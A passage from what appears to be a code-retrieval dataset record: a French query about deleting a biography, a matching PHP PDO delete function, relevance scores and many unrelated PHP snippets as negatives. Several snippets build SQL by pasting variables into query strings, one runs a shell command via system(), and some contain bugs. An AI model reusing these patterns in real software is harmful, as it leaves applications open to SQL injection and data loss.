.= $sequence[0]['residues'].\"\\n\";\n }\n }\n }\n\n// set parameter and send to ClustalO service.\n $parameters = array(\n 'sequence' => $data,\n );\n $phylo = clustalo_submit_job($parameters, true);\n\n// send phylogenetic tree in newick form to draw a tree in python script.\n $enphy = urlencode($phylo);\n $command = drupal_get_path(\"module\", \"geneshop\").\"/cgi_ete.py .$enphy\";\n system(\"python2.6 \".$command);\n}", "function Person($name,$position,$bio,$img,$email){\n $this->name = $name;\n $this->position = $position;\n $this->bio = $bio;\n $this->img = $img;\n $this->email = $email;\n }", "public function __construct(){\n $this->signal= new Commentaire();\n $this->commsign= new Commentaire();\n $this->billet= new ControleurBillet();\n \n }", "public function alimentar()\n {\n }", "public function salvaStatoInsiemeTags()\n\t\t{\n\t\t\tif( $fp = fopen(\"tags.stat\", \"w\") )\n\t\t\t\tfwrite($fp, serialize(InsiemeTags::$istanza));\n\t\t\t\t\n\t\t\tfclose($fp);\n\t\t}", "function addSmilieCode($smilieCode,$smilieImage){\n\t\t\t\n\t\t\t//load data from persistence object\n\t\t\t$storageType \t\t= $this->configManager->getStorageType();\n\t\t\t\t\t\t\t\t\t\t\n\t\t\tif(strtolower($storageType) == 'file'){\n\t\t\t\t$fileName = $this->configManager->getDataDir().'/'.$this->configManager->getSmileyConfigFile();\n\t\t\t\t$this->persistenceManager->setStorageType('file');\n\t\t\t\t$this->persistenceManager->setSmileyFile($fileName);\n\t\t\t}elseif(strtolower($storageType) == 'mysql'){\n\t\t\t\tdie(\"MySQL storage type, not implemented yet!\");\n\t\t\t}else{\n\t\t\t\tdie(\"Unknown storage type!\");\n\t\t\t}\n\t\t\t\n\t\t\t$this->persistenceManager->addSmileyCode($smilieCode,$smilieImage);\n\t\t\t\n\t\t}", "public function __construct($nome,$cognome)\n {\n // $a++\n // $this->contatore // errato perchè riferito all'istanza\n $this->id = self::$contatore++;\n //$this->nome = $nome;\n $this->setNome($nome);\n $this->setCognome($cognome);\n }", "private function aggregateVizDataNodeLink()\n {\n global $PLACEWEB_CONFIG;\n \n $nodeLinkCollection = array();\n $conceptIdsA = array();\n $tagIdsA = array();\n $examplesIdsA = array();\n $questionsIdsA = array();\n \t\n\t\t// create home node\n\t\t$myHomeNode = new EloNode();\n\t\t\n\t\t// set vals for that node : id and name\n\t\t$myHomeNode->id = $_SESSION['group_name'];\n\t\t$myHomeNode->name = $_SESSION['group_name'];\n\t\t\n\t\t// custom data attributes\n\t\t$myHomeNode->setDataAttribute(\"elo\", \"Home\");\n\t\t\n\t\t// redefine JIT essential attr\n\t\t$myHomeNode->setDataAttribute('$type', 'star');\n\t\t$myHomeNode->setDataAttribute('$color', '#475DFF');\n\t\t\n\t\t////////////////////////////////////////////////////////\n\n\t\t// if \"all concepts\" is NOT selected\n\t\tif(isset($this->params['conceptId']) && !in_array('0', $this->params['conceptId'])) {\n\t\t\t$conceptIds = $this->params['conceptId'];\n\t\t\t$concepts = Doctrine_Query::create()\n //->select(\"*\")\n ->from(\"Concept\")\n ->whereIn(\"id\", $conceptIds)\n ->andWhere(\"run_id = ?\", $_SESSION['run_id'])\n ->execute();\n\t\t} else {\n\t // get concepts for current run_id\n\t $concepts = Doctrine::getTable(\"Concept\")\n\t ->findByDql(\"run_id = ?\", $_SESSION['run_id']);\n\t\t}\n\n\t\t// add concepts\n\t\tforeach ($concepts as $concept)\n {\n \t$conceptIdsA[] = \"CON_\".$concept->id;\n\n \t// create concept node\n\t\t\t$myConNode = new EloNode();\n\t\t\t\n\t\t\t// set vals for that node : id and name\n\t\t\t$myConNode->id = \"CON_\".$concept->id;\n\t\t\t$myConNode->name = $concept->name;\n\t\t\t\n\t\t\t// custom data attributes\n\t\t\t$myConNode->setDataAttribute(\"elo\", \"Concept\");\n \t\n\t\t\t// create Adjacency Object\n\t\t\t$conAdjency = new EloNodeAdjacency($myConNode->id, $myHomeNode->id);\n\t\t\t\n\t\t\t// add concept as adjacency to home node\n\t\t\t$myHomeNode->addAdjacency($conAdjency);\n\n\t\n\t\t\t///////////////////////////////////\n\t\t\t// find examples\n\t\t\t\n\t\t\t$exWhereFields = 'ec.run_id = ? AND ec.concept_id = ?';\n\t\t\t$exWhereData = array($_SESSION['run_id'], $concept->id);\n\t\t\t\n\t\t\t$queryArray = $this->buildExSqlQuery($exWhereFields, $exWhereData);\n\t\t\t\n\t\t\t$this->view->data = $queryArray;\n\t\t\t\n\t\t\t\t$q = Doctrine_Query::create()\n\t\t\t\t->select (\"ec.id, e.id, e.name, e.content, e.media_content, e.media_type, u.display_name\")\n\t\t\t\t->from(\"ExampleConcept ec\")\n\t\t\t\t->innerJoin(\"ec.Example e\")\n\t\t\t\t->innerJoin(\"e.User u\")\n\t\t\t\t->where($queryArray[0], $queryArray[1]);\n\n\t\t\t$examples = $q->fetchArray();\n\n \t\t\t// add examples attached to this concept\n\t\t\tif(isset($examples) && count($examples!=0) && $this->params['vizEx']==1) \n\t\t\t{\n\t\t\t\tforeach($examples as $exConcept)\n\t\t\t\t{\n\t\t\t\t\t// get votes for an example_concept\n\t\t\t\t\t$ex_con_votes = array();\n\t\t\t\t\t$ex_con_votes = $this->countVotes($exConcept['id'], 4);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * Tag Node\n\t\t\t\t\t */\n\t\t\t\t\t$tagIdsA[] = \"EX_CON_TAG_\".$exConcept['id'];\n\t\t\t\t\t\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$exTagSum = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$exTagSum->id = \"EX_CON_TAG_\".$exConcept['id']; // this is unique\n\t\t\t\t\t$exTagSum->name = '['.$ex_con_votes['votesSumm'].']';\n\t\t\t\t\t\n\t\t\t\t\t// custom data attributes\n\t\t\t\t\t$exTagSum->setDataAttribute('$type', 'none');\n\t\t\t\t\t$exTagSum->setDataAttribute(\"elo\", \"Tag\");\n\t\t\t\t\t//$exTagSum->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$exTagSum->setDataAttribute(\"votes\", $ex_con_votes['votesMinus']. ' ['.$ex_con_votes['votesSumm'].'] '.$ex_con_votes['votesPlus']);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\t$exTagSumAdjency = new EloNodeAdjacency($exTagSum->id, $myConNode->id);\n\t\t\t\t\t\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t// add tag as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($exTagSumAdjency); \n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * example node\n\t\t\t\t\t */\n\t\t\t\t\t$examplesIdsA= \"EX_\".$exConcept['Example']['id'];\n\t\t\t\t\t\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$exNode = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$exNode->id = \"EX_\".$exConcept['Example']['id'];\n\t\t\t\t\t$exNode->name = $exConcept['Example']['name'];\n\t\t\t\t\t$exNode->setDataAttribute('$type', 'triangle');\n\t\t\t\t\t$exNode->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$exNode->setDataAttribute('elo', 'Example');\n\t\t\t\t\t$exNode->setDataAttribute('ref_id', $exConcept['Example']['id']);\n\t\t\t\t\t$exNode->setDataAttribute('author', $exConcept['Example']['User']['display_name']);\n\t\t\t\t\t$exNode->setDataAttribute('content', $exConcept['Example']['content']);\n\t\t\t\t\t$exNode->setDataAttribute('media_content', $exConcept['Example']['media_content']);\n\n\t\t\t\t\t// check if it is a video\n\t\t\t\t\tif (preg_match(\"/video/i\", $exConcept['Example']['media_type']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$isVideo=\"1\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$isVideo=\"0\";\n\t\t\t\t\t}\n\t\t\t\t\t$exNode->setDataAttribute('is_video', $isVideo); \n\t\t\t\t\t\n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$exAdjency = new EloNodeAdjacency($exNode->id, $exTagSum->id);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add example as adjacencies of tag node\n\t\t\t\t\t\t$exTagSum->addAdjacency($exAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add tag node to collection \n\t\t\t\t\t\t$nodeLinkCollection[]=$exTagSum;\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$exAdjency = new EloNodeAdjacency($exNode->id, $myConNode->id);\n\t\t\t\t\t\t// add example as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($exAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// add example node to collection\n\t\t\t\t\t$nodeLinkCollection[]=$exNode;\n\n\t\t\t\t} // end loop example_concept\n\t\t\t\t\n\t\t\t} // end if examples\n\n\n\t\t\t///////////////////////////////////\n\t\t\t// find questions\n\t\t\t$quWhereFields = 'qc.run_id = ? AND qc.concept_id = ? AND q.is_published = ?';\n\t\t\t$quWhereData = array($_SESSION['run_id'],$concept->id,1);\n\t\t\t\n\t if($this->params['valueAA']!=\"\" && $this->params['valueBB']!=\"\" && $this->params['vizDate']==1)\n\t\t\t{\n\t\t\t\t$quWhereFields .= ' AND q.date_created BETWEEN ? AND ?';\n\t\t\t\t$quWhereData[] = date( 'Y-m-d H:i:s', $this->params['valueAA']);\n\t\t\t\t$quWhereData[] = date( 'Y-m-d H:i:s', $this->params['valueBB']);\n\t\t\t}\n\t\t\t\t\t\n\t\t\t$q1 = Doctrine_Query::create()\n\t\t\t\t->select (\"qc.id, q.id, q.name, q.content, q.media_content, u.display_name\")\n\t\t\t\t->from(\"QuestionConcept qc\")\n\t\t\t\t->innerJoin(\"qc.Question q\")\n\t\t\t\t->innerJoin(\"q.User u\")\n\t\t\t\t->where($quWhereFields, $quWhereData);\t\t\t\t\t\n\t\t\t$questions = $q1->fetchArray();\n\t\t\t\n\t\t\t// add questions attached to this concept\n\t\t\tif(isset($questions) && count($questions!=0) && $this->params['vizQu']==1)\n\t\t\t{\n\t\t\t\tforeach($questions as $quConcept)\n\t\t\t\t{\n\t\t\t\t\t// get votes for a question_concept\n\t\t\t\t\t$qu_con_votes = array();\n\t\t\t\t\t\n\t\t\t\t\t$qu_con_votes = $this->countVotes($quConcept['id'], 5);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * Tag Node\n\t\t\t\t\t */\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$quTagSum = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$quTagSum->id = \"QU_CON_TAG_\".$quConcept['id']; // this is unique\n\t\t\t\t\t$quTagSum->name = '['.$qu_con_votes['votesSumm'].']';\n\t\t\t\t\t\n\t\t\t\t\t// custom data attributes\n\t\t\t\t\t$quTagSum->setDataAttribute('$type', 'none');\n\t\t\t\t\t$quTagSum->setDataAttribute(\"elo\", \"Tag\");\n\t\t\t\t\t//$quTagSum->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$quTagSum->setDataAttribute(\"votes\", $qu_con_votes['votesMinus']. ' ['.$qu_con_votes['votesSumm'].'] '.$qu_con_votes['votesPlus']);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\t$quTagSumAdjency = new EloNodeAdjacency($quTagSum->id, $myConNode->id);\n\t\t\t\t\t\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t// add tag as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($quTagSumAdjency); \n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * question node\n\t\t\t\t\t */\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$quNode = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$quNode->id = \"QU_\".$quConcept['Question']['id'];\n\t\t\t\t\t$quNode->name = $quConcept['Question']['name'];\n\t\t\t\t\t$quNode->setDataAttribute('$type', 'triangle');\n\t\t\t\t\t$quNode->setDataAttribute('$color', '#D40015');\n\t\t\t\t\t$quNode->setDataAttribute('elo', 'Question');\n\t\t\t\t\t$quNode->setDataAttribute('ref_id', $quConcept['Question']['id']);\n\t\t\t\t\t$quNode->setDataAttribute('author', $quConcept['Question']['User']['display_name']);\n\t\t\t\t\t$quNode->setDataAttribute('content', $quConcept['Question']['content']);\n\t\t\t\t\t$quNode->setDataAttribute('media_content', $quConcept['Question']['media_content']);\n\n\t\t\t\t\t// check if it is a video\n\t\t\t\t\tif (preg_match(\"/video/i\", $quConcept['Question']['media_type']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$isVideo=\"1\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$isVideo=\"0\";\n\t\t\t\t\t}\n\t\t\t\t\t$quNode->setDataAttribute('is_video', $isVideo); \n\t\t\t\t\t\n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$quAdjency = new EloNodeAdjacency($quNode->id, $quTagSum->id);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add question as adjacencies of tag node\n\t\t\t\t\t\t$quTagSum->addAdjacency($quAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add tag node to collection \n\t\t\t\t\t\t$nodeLinkCollection[]=$quTagSum;\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$quAdjency = new EloNodeAdjacency($quNode->id, $myConNode->id);\n\t\t\t\t\t\t// add question as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($quAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// add question node to collection\n\t\t\t\t\t$nodeLinkCollection[]=$quNode;\n\n\n\t\t\t\t} // end loop question_concept\n\t\t\t\t\n\t\t\t}\n\t\t\t///////////////////////////////////\n\t\t\t\n\t // add concept to collection\n\t $nodeLinkCollection[]=$myConNode;\n\t \n } // end loop concepts\n\n // add home node to collection \n $nodeLinkCollection[]=$myHomeNode;\n \n return json_encode($nodeLinkCollection);\n\t\t\n }", "function add()\n\t{\n\t\t$CFG = $this->config->item('image_configure');\n\t\t$data[\"title\"] = _e(\"Image\");\n\t\t## for check admin or not ##\n\t\t$data[\"response\"] = addPermissionMsg( $CFG[\"sector\"][\"add\"] );\t\t\t\n\t\t## Other auxilary variable ##\n\t\t$data['var'] = array();\t\t\n\t\t$this->load->module('context/context_admin');\n\t\t$user_context = $this->context_admin->getContext();\n\t\t$data['var']['context_dd'] = ( array('' => _e('Choose Context') ) + $user_context );\n\t\t$data['var']['relation_dd'] = ( array('' => _e('Choose Relation') ) );\n\t\t$data[\"top\"] = $this->template->admin_view(\"top\", $data, true, \"image\");\t\n\t\t$data[\"content\"] = $this->template->admin_view(\"image_add\", $data, true, \"image\");\n\t\t$this->template->build_admin_output($data);\n\t}", "public function add(DiagramInterface $element);", "public function updateBio($params)\n {\n $bio = $this->filterPost ('bio');\n if (!isNull ($bio))\n {\n Core::getBdd ()->update (\n array (\"bio\" => $bio), 'c_user', array (\"id\" => $_SESSION['muffin_id']));\n echo \"1\";\n }\n else\n {\n echo \"1\";\n }\n }", "public function get_biometrico_com($fech,$nom)\n {\n self::set_names();\n $sql=\"SELECT observacion AS OBSERVACION, hora AS HORA, fecha AS FECHA\n \t\t\t\tFROM\n \t\t\t\tbiometrico\n \t\t\t\twhere\n \t\t\t\tfecha = '$fech' and nro='$nom' order by hora asc;\";\t\t\t \n foreach($this->dbh->query($sql) as $row)\n {\n $this->super2[]=$row;\n }\n return $this->super2;\n $this->dbh=null;\n }", "public function __construct() {\n $this->ambilData();\n }", "public static function save(EGiudizio $giudizio) {\n $db = FDatabase::getInstance();\n\n $db->saveToDB(self::getClassName(), $giudizio);\n }", "public function __construct($boja,$tip)\n {\n $this->setBoja($boja);\n $this->setTip($tip);\n }", "public function preSaveGaleria()\r\n {\r\n if($this->getTipoArchivo()== RpsStms::TIPO_ARCHIVO_LINK){\r\n $infoVideo= RpsStms::getTitleAndImageVideoYoutube($this->getArchivo());\r\n $this->setThumbnail($infoVideo['thumbnail']);\r\n $this->setArchivo($infoVideo['urlVideo']);\r\n $this->setTitulo($infoVideo['title']);\r\n $this->setDescripcion($infoVideo['description']);\r\n }\r\n }", "private function ajoutauteur() {\n\t\t$this->_ctrlAuteur = new ControleurAuteur();\n\t\t$this->_ctrlAuteur->auteurAjoute();\n\t}", "function addPlatform($name,$icon)\n {\n global $mysqli;\n $icon=addslashes($icon);\n $icon=file_get_contents($icon);\n $icon=base64_encode($icon);\n $sql=\"INSERT INTO platforms (platformName,platformIcon)VALUES('$name','$icon')\"; \n $mysqli->query($sql)or die(\"query failed due to \".mysqli_error());\n logSuccess(\"platform added successfully\");\n }", "public function add_meta_content(Array $parameters = array()){\n $this->metatags[] = $parameters;\n }", "public function daftar_bio($nim){\r\n\t\t$query = $this->db->query(\"SELECT m.NIM, m.Name, m.TempatLahir, m.TglLahir, m.TotalSKSLulus, m.KodeProgram, m.sex, m.Alamat1, m.Phone, m.NamaOT, m.NamaIbu, m.AlamatOT1, m.AlamatOT2, m.TelpOT, f.nama_indonesia as nmf, f.singkatan as singfak, m.KodeJurusan, j.nama_indonesia as nmj, agm.agama from _v2_mhsw m left outer join fakultas f on m.kodefakultas=f.kode left outer join _v2_jurusan j on m.kodejurusan=j.kode left outer join _v2_agama a on m.AgamaID=a.agamaID where m.NIM='$nimt' Limit 1\");\r\n\t}", "function create_fam_relation($eParent, $personRec, $tag)\n\t{\n\t\t//throw new exception(\"create fam rel - this function is not implemented\");\n\t}", "public function saveAction()\n {\n if ($postData = $this->getRequest()->getPost()) {\n if (isset($_FILES['image']['name']) and (file_exists($_FILES['image']['tmp_name']))) {\n try {\n $file_name_info = pathinfo($_FILES['image']['name']);\n $file_extension = $file_name_info['extension'];\n $filename_hash = md5(str_shuffle($_FILES['image']['name'].rand(1,1000).time()));\n $final_filename = $filename_hash . '.' . $file_extension;\n\n $uploader = new Varien_File_Uploader('image');\n $uploader->setAllowedExtensions(array('jpg','jpeg','gif','png'));\n $uploader->setAllowRenameFiles(false);\n $uploader->setFilesDispersion(false);\n\n $path = Mage::getBaseDir('media') . DS . 'alliance' . DS . 'bioactives';\n\n $uploader->save($path, $final_filename);\n\n $postData['image'] = 'alliance' . DS .'bioactives' . DS . $final_filename;\n }\n catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')\n ->addError($this->__(\"An error occurred while saving the image for this Key Bioactive. Please make sure the file you\n selected was an image of file type jpg, jpeg, gif, or png, and wasn't too large in filesize.\"));\n }\n }\n else {\n if(isset($postData['image']['delete']) && $postData['image']['delete'] == 1)\n $postData['image'] = '';\n else\n unset($postData['image']);\n }\n\n $model = Mage::getSingleton('alliance_bioactives/bioactive');\n $model->setData($postData);\n\n try {\n $model->save();\n\n Mage::getSingleton('adminhtml/session')->addSuccess($this->__('The bioactive has been saved.'));\n $this->_redirect('*/*/');\n\n return;\n }\n catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n }\n catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')\n ->addError($this->__('An error occurred while saving this bioactive.'));\n }\n\n Mage::getSingleton('adminhtml/session')->setBioactiveData($postData);\n $this->_redirectReferer();\n }\n }", "public function graphAction(Request $request)\n {\n $id = $request->query->get( 'history_id' );\n\n $em = $this->getDoctrine()->getEntityManager();\n $History = $em->getRepository('AriiMFTBundle:History')->find( $id );\n\n $uml = \"sequenceDiagram\\n\";\n \n $Deliveries = $em->getRepository('AriiMFTBundle:Deliveries')->findBy( [ 'history' => $History ] );\n $n=0;\n foreach ($Deliveries as $Delivery) { \n \n // On retrouve l'operation\n $Operation = $Delivery->getOperation();\n $From = $Operation->getSource();\n $To = $Operation->getTarget();\n\n $source = $From->getTitle();\n if ($source=='') $source = $From->getName();\n $target = $To->getTitle();\n if ($target=='') $target = $To->getName();\n \n if ($Delivery->getStartTime())\n $uml .= \"Note over \".$source.\": \".$Delivery->getStartTime()->format('Y-m-d H:i:s').\"\\n\";\n \n $uml .= $source.\"->>\".$target.\" : \".$Operation->getTitle().\"\\n\";\n \n // On affiche les transmissions\n $Transmissions = $em->getRepository('AriiMFTBundle:Transmissions')->findBy( [ 'delivery' => $Delivery ] );\n $Files = [];\n foreach ($Transmissions as $Transmission) {\n if ($Transmission->getStatus()=='success')\n array_push($Files, basename($Transmission->getSourceFile()));\n else \n array_push($Files, '['.basename($Transmission->getSourceFile()).']');\n }\n \n $uml .= \"Note over \".$source.','.$target.\": \".implode(',<br/>',$Files).\"\\n\";\n $uml .= \"Note over \".$target.\": \".$Delivery->getEndTime()->format('Y-m-d H:i:s').\"\\n\";\n $uml .= \"Note right of \".$target.\": \".$Delivery->getStatus().\"\\n\";\n $n++;\n }\n\n/* $uml = '\n Alice ->> Bob: Hello Bob, how are you?\n Bob-->>John: How about you John?\n Bob--x Alice: I am good thanks!\n Bob-x John: I am good thanks!\n Note right of John: Bob thinks a long<br/>long time, so long<br/>that the text does<br/>not fit on a row.\n\n Bob-->Alice: Checking with John...\n Alice->John: Yes... John, how are you?';\n*/ \n $mermaid = $this->container->get('arii_core.mermaid');\n return $mermaid->sequence($uml);\n }", "public function add(){\n\t\t\n\t\t// Open or create file\n\t\t$f = fopen($this->file, 'wb');\n\t\tfclose($f);\n\t}", "protected function save_meta() {}", "public function setInfo(string $ref, string $title = null, string $content = null, string $image = null) {\n $this->type = $ref;\n $this->titre = $title;\n $this->corps = $content;\n $this->image = $image;\n }", "public function agregar() {\n\t\tif ( ! $this->input->post('descripcion'))\n\t\t{\n\t\t\tredirect('index.php/Abmin/areas');\n\t\t} else {\n\t\t\t$descripcion = $this->input->post('descripcion');\n\t\t\tif (! $this->input->post('idd')) {\n\t\t\t\tif(!$this->Area->existe(0, $descripcion)) {\n\t\t\t\t\t$dat = array('descripcion' => $descripcion);\n\t\t\t\t\t$this->Area->insertar($dat);\n\t\t\t\t} else {\n\t\t\t\t\t//$this->session->set_userdata('msg', 'Equipo ya existe. Verifique datos');\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$idd = $this->input->post('idd');\n\t\t\t\t$dat = array('descripcion' => $descripcion);\n\t\t\t\t$this->Area->actualizar($dat, $idd);\n\t\t\t\t//$this->session->set_userdata('msg', 'Equipo '. $nombre . '(' . $region . ') editado correctamente');\n\t\t\t}\n\t\t\tredirect('index.php/Abmin/areas');\n\t\t}\n\t}", "function subir($nombre,$id){\n // creamo el array que mandaremos a la base de datos\n \t$datos = array(\n 'titulo' => 'Titulo',\n 'imagen' => $nombre,\n 'idAlbum' => $id,\n \t );\n // por ultimo mandamos los datos con un insert a la base datos utilizando el active record de CI\n \t$this->db->insert('imagenes',$datos);\n\n \t}", "public function addCitation($author, $chapter, $content, $date, $image){\n // Récuperation de la connection à la base de donnée\n // Rappel: pour récupérer une variable défini en dehors de la fonction, on préfixera la variable par \"global\"\n global $bdd;\n\n // Requete d'ajout en base de donnée\n mysqli_query($bdd, \"INSERT INTO citation (author, chapter, content, date, image) VALUES ('$author', '$chapter', '$content', '$date', '$image')\");\n }", "public function createFranchise(Franchise $franchise){\n $query = \"INSERT INTO franchises SET name=:name\";\n $pdo = $this->connection->prepare($query);\n $pdo->execute(array(\n 'name' => $franchise->getName()\n ));\n }", "public function associate(PDOStatement $sender, $giudizio) {\n $sender->bindValue(':idUtente', $giudizio->getUtente()->getId(), PDO::PARAM_INT);\n $sender->bindValue(':idFilm', $giudizio->getFilm()->getId(), PDO::PARAM_INT);\n $sender->bindValue(':commento', $giudizio->getCommento(), PDO::PARAM_STR);\n $sender->bindValue(':punteggio', strval($giudizio->getPunteggio()), PDO::PARAM_STR);\n $sender->bindValue(':titolo', $giudizio->getTitle(), PDO::PARAM_STR);\n $sender->bindValue(':datapubblicazione', $giudizio->getDataPubblicazioneDB(), PDO::PARAM_STR);\n }" ]
[ "0.64594334", "0.5830039", "0.5721712", "0.5721712", "0.5541129", "0.55054057", "0.53822917", "0.52820754", "0.50951916", "0.50745076", "0.5067793", "0.50589174", "0.504512", "0.5044792", "0.5043552", "0.49954015", "0.49895394", "0.4983016", "0.49745274", "0.49745274", "0.4949655", "0.49461788", "0.49236205", "0.48988655", "0.4898513", "0.4856147", "0.48518348", "0.4845455", "0.48442975", "0.48307556", "0.48186523", "0.4810345", "0.48055154", "0.47975937", "0.47975937", "0.47957316", "0.4791809", "0.47848424", "0.4781464", "0.47721422", "0.47708893", "0.47588053", "0.4757094", "0.4749398", "0.47455847", "0.47412306", "0.47411713", "0.4731612", "0.47314978", "0.4730822", "0.47289595", "0.47224858", "0.4716833", "0.47056016", "0.4698381", "0.46961266", "0.4692189", "0.46908402", "0.46898335", "0.46895233", "0.46876866", "0.46870694", "0.46870106", "0.4682036", "0.4678531", "0.4671146", "0.46698874", "0.46618465", "0.4645924", "0.46396098", "0.4639532", "0.46239665", "0.46238846", "0.46184003", "0.46153268", "0.46143675", "0.46106339", "0.46071154", "0.4602288", "0.45980015", "0.45978603", "0.4597696", "0.45953944", "0.4594586", "0.45908737", "0.45806366", "0.45695862", "0.45633882", "0.45602706", "0.45545974", "0.4552663", "0.45500925", "0.45495263", "0.4547435", "0.4545673", "0.4545422", "0.45437548", "0.45424128", "0.4538925", "0.45381576" ]
0.5992736
1
Fonction qui supprime une biographie
function deleteBio($id, $db) { $query = $db->prepare("DELETE FROM Bio WHERE ID_Bio = ?"); $query->execute([$id]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function biography();", "public function biographies() {\n\t\treturn $this->hasMany('App\\Biography');\n\t}", "function setBio($newBio){\n $this->bio = $newBio;\n }", "function bio () {\n if (empty($this->bio_bio)) {\n if ( $this->page[\"Bio\"] == \"\" ) $this->openpage (\"Bio\",\"person\");\n if ( $this->page[\"Bio\"] == \"cannot open page\" ) return array(); // no such page\n if (@preg_match_all('|<h5>Mini Biography</h5>\\s*(.+)\\s+.+\\s+(.+)|',$this->page[\"Bio\"],$matches)) {\n for ($i=0;$i<count($matches[0]);++$i) {\n $bio_bio[\"desc\"] = str_replace(\"href=\\\"/name/nm\",\"href=\\\"http://\".$this->imdbsite.\"/name/nm\",\n str_replace(\"href=\\\"/title/tt\",\"href=\\\"http://\".$this->imdbsite.\"/title/tt\",\n str_replace('/SearchBios','http://'.$this->imdbsite.'/SearchBios',$matches[1][$i])));\n $author = 'Written by '.(str_replace('/SearchBios','http://'.$this->imdbsite.'/SearchBios',$matches[2][$i]));\n if (@preg_match(\"/href\\=\\\"(.*?)\\\">(.*?)<\\/a>/\",$author,$match)) {\n $bio_bio[\"author\"][\"url\"] = $match[1][$i];\n $bio_bio[\"author\"][\"name\"] = $match[2][$i];\n }\n $this->bio_bio[] = $bio_bio;\n unset($bio_bio,$author);\n }\n }\n }\n return $this->bio_bio;\n }", "public function show(Biologica $biologica)\n {\n //\n }", "public function abono();", "abstract public function information();", "public function getMilage()\n {\n }", "function getBio() {\n return $this->bio;\n }", "public function __construct($bio) {\n\t\tparent::__construct($this->shortenIfTooLong($bio));\n\t}", "public function getBio()\n {\n return $this->bio;\n }", "function cl_bensetiquetaimpressa() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"bensetiquetaimpressa\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function boleta()\n\t{\n\t\t//\n\t}", "public function afficherInformation()\n {\n //la version de la méthode implémenté dans la classe parent (Personne)\n return \"le héro est \".$this->pseudo.\" et est un \".$this->getCote();\n }", "abstract public function hidupkan();", "public function imprimeCaracteristicas()\n\t{\n\t\techo \"<br />--------------------------------\\n\";\n\t\techo \"<br />Juego para: \".$this->consola.\"\\n\";\n\t\t//ejecutamos la funciona \"imprimeCaracteristicas()\" de la clase\n\t\t// extendida \"soporte\"\n\t\tparent::imprimeCaracteristicas();\n\t\techo \"<br />\".$this->devolverJugadoresPosibles().\"\\n\";\n\t\techo \"<br />--------------------------------\\n\";\n\t}", "public function ogs()\r\n {\r\n }", "public function getBio()\n {\n return $this->bio;\n }", "public function getBio()\n {\n return $this->bio;\n }", "public function mostrarInfo()\n {\n // $datos.= \"Cuatrimestre\".$this->cuatrimestre;\n // return parent::mostrarInfo().\" \".$datos;\n }", "abstract function getDescription();", "abstract public function getDescription();", "abstract public function getDescription();", "public function getUserBio();", "function CHistorialCambiosBeneficiario($idHistorialCambio, $beneficiario1, $beneficiario2, $tipoCambioBeneficiario, $fecha, $soporte, $observaciones) {\r\n $this->idHistorialCambio = $idHistorialCambio;\r\n $this->beneficiario1 = $beneficiario1;\r\n $this->beneficiario2 = $beneficiario2;\r\n $this->tipoCambioBeneficiario = $tipoCambioBeneficiario;\r\n $this->fecha = $fecha;\r\n $this->soporte = $soporte;\r\n $this->observaciones = $observaciones;\r\n }", "abstract function getdescription();", "public function setBiometricDefaults(){\r\n \t\r\n \tif($this->data['biometric_data']['height']==\"0\"){ \t\t\r\n \t\t$this->data['biometric_data']['height']=(intval($this->demographics['height_ft'])*12)+$this->demographics['height_in']; \t\t\r\n \t} \t\r\n \t\r\n \t//get last weight entered\r\n 